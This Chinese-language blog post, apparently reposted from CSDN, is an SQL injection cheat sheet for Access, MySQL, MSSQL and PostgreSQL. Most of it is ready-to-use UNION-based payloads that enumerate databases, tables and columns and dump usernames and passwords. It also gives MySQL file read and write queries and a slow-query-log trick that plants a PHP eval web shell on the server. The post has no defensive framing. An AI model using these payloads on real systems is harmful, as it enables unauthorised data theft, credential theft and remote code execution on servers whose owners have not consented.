access mysql mssql postgresql熟悉四种基本数据库的注入

0x00 数据库介绍

access:无最高权限用户,不存在系统的表单,通常通过暴力猜解等方式测试,access是单独的,一库对应一网站,mysql那些数据库通常可以控制多个网站,access也可以采用偏移注入
mysql mssql postgresql:这三种数据库存在最高权限用户,root sa mdb等,mysql分不同的5.0版本上下差异存在不同的表单,

0x01 mysql mssql postgresql的基本语句

mysql读取文件:load_file()

union select 1,load_file('d:/1.txt'),3,4,5

mysql写入内容到文件:into outfile

union select 1,‘shell’,3,4,5 into outfile ‘d:/1.txt’

突破写入权限可参考之前的文章,secure_file_priv的突破,通常需要可执行页面去执行sql语句,通常借助sql命令行,phpmyadmin等,

set global slow_query_log=1;
set global slow_query_log_file='shell路径';
select '<?php eval($_GET[A])?>' or SLEEP(1);

mssql注入
-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,‘s’,null
-获取信息:
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
-获取表名:

and 1=2  union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

-获取列名:

and 1=2  union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2  union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2  union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2  union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

-获取数据:

and 1=2 union all select null,username, password ,null from manage

postgresql语句
-测列数:

order by 4
and 1=2 union select null,null,null,null

-测显位:第2,3

and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误

-获取信息:

and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current_user,null,null
and 1=2 union select null,current_database(),null,null

-获取数据库名:

and 1=2 union select null,string_agg(datname,','),null,null from pg_database

-获取表名:

1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

-获取列名:

and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

-获取数据:

and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):

and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

msql poadtgresql通常使用null来代替判断字段,mysql使用数字即可

猜你喜欢

转载自blog.csdn.net/qq_53577336/article/details/127468153